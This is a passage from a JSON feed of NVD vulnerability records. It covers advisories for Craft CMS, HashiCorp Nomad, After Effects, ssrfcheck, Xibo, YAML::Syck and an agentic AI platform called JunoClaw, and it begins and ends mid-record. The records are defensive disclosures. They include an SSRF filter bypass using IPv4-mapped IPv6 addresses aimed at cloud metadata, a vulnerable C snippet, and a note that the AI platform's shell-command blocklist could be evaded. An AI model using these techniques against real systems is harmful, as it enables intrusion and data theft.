2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44012","cveId":"CVE-2026-44012","aliases":[],"kind":"vulnerability","title":"Craft CMS is a content management system (CMS).","summary":"Craft CMS is a content management system (CMS). From 5.0.0-RC1 to before 5.9.18, AssetsController::actionShowInFolder() fetches an asset by ID and returns its filename and complete folder hierarchy (including volume handle, volume UID, folder names, folder UIDs, and folder URI paths) without checking whether the requesting user has viewAssets or viewPeerAssets permission on the asset’s volume. Any authenticated CP user — even one with zero volume permissions — can enumerate asset filenames and the full folder structure of any volume by supplying arbitrary asset IDs. This vulnerability is fixed in 5.9.18.","detail":"Craft CMS is a content management system (CMS). From 5.0.0-RC1 to before 5.9.18, AssetsController::actionShowInFolder() fetches an asset by ID and returns its filename and complete folder hierarchy (including volume handle, volume UID, folder names, folder UIDs, and folder URI paths) without checking whether the requesting user has viewAssets or viewPeerAssets permission on the asset’s volume. Any authenticated CP user — even one with zero volume permissions — can enumerate asset filenames and the full folder structure of any volume by supplying arbitrary asset IDs. This vulnerability is fixed in 5.9.18.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T21:16:16.003Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Craft CMS"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44012","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44012","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44012","type":"primary","publishedAt":"2026-05-12T21:16:16.003Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44011","cveId":"CVE-2026-44011","aliases":[],"kind":"vulnerability","title":"Craft CMS is a content management system (CMS).","summary":"Craft CMS is a content management system (CMS). From 4.0.0 to before 4.17.12 and 5.9.18, Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event. This vulnerability is fixed in 4.17.12 and 5.9.18.","detail":"Craft CMS is a content management system (CMS). From 4.0.0 to before 4.17.12 and 5.9.18, Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event. This vulnerability is fixed in 4.17.12 and 5.9.18.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T21:16:15.870Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Craft CMS"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44011","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44011","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44011","type":"primary","publishedAt":"2026-05-12T21:16:15.870Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44010","cveId":"CVE-2026-44010","aliases":[],"kind":"vulnerability","title":"Craft CMS is a content management system (CMS).","summary":"Craft CMS is a content management system (CMS). From 4.0.0 to before 4.17.12 and 5.9.18, the GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc. This vulnerability is fixed in 4.17.12 and 5.9.18.","detail":"Craft CMS is a content management system (CMS). From 4.0.0 to before 4.17.12 and 5.9.18, the GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc. This vulnerability is fixed in 4.17.12 and 5.9.18.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T21:16:15.720Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Craft CMS"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44010","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44010","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44010","type":"primary","publishedAt":"2026-05-12T21:16:15.720Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7474","cveId":"CVE-2026-7474","aliases":[],"kind":"vulnerability","title":"HashiCorp Nomad and Nomad Enterprise prior to 2.0.1 are vulnerable to code execution on the client host through a path traversal attack.","summary":"HashiCorp Nomad and Nomad Enterprise prior to 2.0.1 are vulnerable to code execution on the client host through a path traversal attack. This vulnerability (CVE-2026-7474) is fixed in Nomad 2.0.1, 1.11.5 and 1.10.11.","detail":"HashiCorp Nomad and Nomad Enterprise prior to 2.0.1 are vulnerable to code execution on the client host through a path traversal attack. This vulnerability (CVE-2026-7474) is fixed in Nomad 2.0.1, 1.11.5 and 1.10.11.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:46.380Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7474","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7474","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7474","type":"primary","publishedAt":"2026-05-12T20:16:46.380Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34690","cveId":"CVE-2026-34690","aliases":[],"kind":"vulnerability","title":"After Effects is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"After Effects is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"After Effects is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T20:16:38.820Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"adobe","product":"after effects","stacks":["Adobe","after effects"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34690","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34690","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34690","type":"primary","publishedAt":"2026-05-12T20:16:38.820Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43929","cveId":"CVE-2026-43929","aliases":[],"kind":"vulnerability","title":"ssrfcheck is a library that checks if a string contains a potential SSRF attack.","summary":"ssrfcheck is a library that checks if a string contains a potential SSRF attack. In 1.3.0 and earlier, ssrfcheck fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.","detail":"ssrfcheck is a library that checks if a string contains a potential SSRF attack. In 1.3.0 and earlier, ssrfcheck fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:28.970Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43929","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43929","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43929","type":"primary","publishedAt":"2026-05-12T18:17:28.970Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43892","cveId":"CVE-2026-43892","aliases":[],"kind":"vulnerability","title":"AntSword is a cross-platform website management toolkit.","summary":"AntSword is a cross-platform website management toolkit. Prior to 2.1.16, incomplete noxss() sanitization leads to 1-click RCE via jquery.terminal format code injection. This vulnerability is fixed in 2.1.16.","detail":"AntSword is a cross-platform website management toolkit. Prior to 2.1.16, incomplete noxss() sanitization leads to 1-click RCE via jquery.terminal format code injection. This vulnerability is fixed in 2.1.16.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:28.640Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43892","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43892","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43892","type":"primary","publishedAt":"2026-05-12T18:17:28.640Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42141","cveId":"CVE-2026-42141","aliases":[],"kind":"vulnerability","title":"Xibo is an open source digital signage platform with a web content management system and Windows display player software.","summary":"Xibo is an open source digital signage platform with a web content management system and Windows display player software. Prior to 4.4.1, an authenticated Server-Side Request Forgery (SSRF) vulnerability in the Xibo CMS allows users with Library upload permissions to make arbitrary HTTP requests from the CMS server to internal or external network resources. This can be exploited to scan internal infrastructure, access local cloud metadata endpoints (e.g., AWS IMDS), interact with internal services that lack authentication, or exfiltrate data. This vulnerability is fixed in 4.4.1.","detail":"Xibo is an open source digital signage platform with a web content management system and Windows display player software. Prior to 4.4.1, an authenticated Server-Side Request Forgery (SSRF) vulnerability in the Xibo CMS allows users with Library upload permissions to make arbitrary HTTP requests from the CMS server to internal or external network resources. This can be exploited to scan internal infrastructure, access local cloud metadata endpoints (e.g., AWS IMDS), interact with internal services that lack authentication, or exfiltrate data. This vulnerability is fixed in 4.4.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:23.920Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42141","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42141","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42141","type":"primary","publishedAt":"2026-05-12T18:17:23.920Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-5089","cveId":"CVE-2026-5089","aliases":[],"kind":"vulnerability","title":"YAML::Syck versions before 1.38 for Perl  has an out-of-bounds read.","summary":"YAML::Syck versions before 1.38 for Perl  has an out-of-bounds read.\n\nThe base60 (sexagesimal) parsing code in perl_syck.h has a buffer underflow bug in both int#base60 and float#base60 handlers. When processing the leftmost segment of a colon-separated value (e.g., the 1 in 1:30:45), the inner while loop can decrement a pointer past the start of the string buffer:\n\n    while ( colon >= ptr && *colon != ':' )\n    {\n        colon--;\n    }\n    if ( *colon == ':' ) *colon = '\\0';  // colon may be ptr-1 here\n\nWhen no colon is found (final/leftmost segment), colon becomes ptr-1, and the subsequent *colon dereference reads one byte before the allocated buffer.","detail":"YAML::Syck versions before 1.38 for Perl  has an out-of-bounds read.\n\nThe base60 (sexagesimal) parsing code in perl_syck.h has a buffer underflow bug in both int#base60 and float#base60 handlers. When processing the leftmost segment of a colon-separated value (e.g., the 1 in 1:30:45), the inner while loop can decrement a pointer past the start of the string buffer:\n\n    while ( colon >= ptr && *colon != ':' )\n    {\n        colon--;\n    }\n    if ( *colon == ':' ) *colon = '\\0';  // colon may be ptr-1 here\n\nWhen no colon is found (final/leftmost segment), colon becomes ptr-1, and the subsequent *colon dereference reads one byte before the allocated buffer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T17:16:21.720Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-5089","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-5089","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-5089","type":"primary","publishedAt":"2026-05-12T17:16:21.720Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43993","cveId":"CVE-2026-43993","aliases":[],"kind":"vulnerability","title":"JunoClaw is an agentic AI platform built on Juno Network.","summary":"JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, the WAVS bridge's computeDataVerify called fetch() on agent-supplied URLs without validating scheme, port, or resolved IP, resulting in an SSRF vulnerability. This vulnerability is fixed in 0.x.y-security-1.","detail":"JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, the WAVS bridge's computeDataVerify called fetch() on agent-supplied URLs without validating scheme, port, or resolved IP, resulting in an SSRF vulnerability. This vulnerability is fixed in 0.x.y-security-1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T17:16:21.380Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43993","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43993","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43993","type":"primary","publishedAt":"2026-05-12T17:16:21.380Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43991","cveId":"CVE-2026-43991","aliases":[],"kind":"vulnerability","title":"JunoClaw is an agentic AI platform built on Juno Network.","summary":"JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, substring-based blocklist in plugin-shell's command-safety check could be bypassed by adversarial argument constructions, allowing unauthorized command execution on the host when combined with the companion advisory. Pre-patch, the check was applied to the raw command string rather than the parsed first token. This vulnerability is fixed in 0.x.y-security-1.","detail":"JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, substring-based blocklist in plugin-shell's command-safety check could be bypassed by adversarial argument constructions, allowing unauthorized command execution on the host when combined with the companion advisory. Pre-patch, the check was applied to the raw command string rather than the parsed first token. This vulnerability is fixed in 0.x.y-security-1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T17:16:21.090Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43991","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43991","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43991","type":"primary","publishedAt":"2026-05-12T17:16:21.090Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 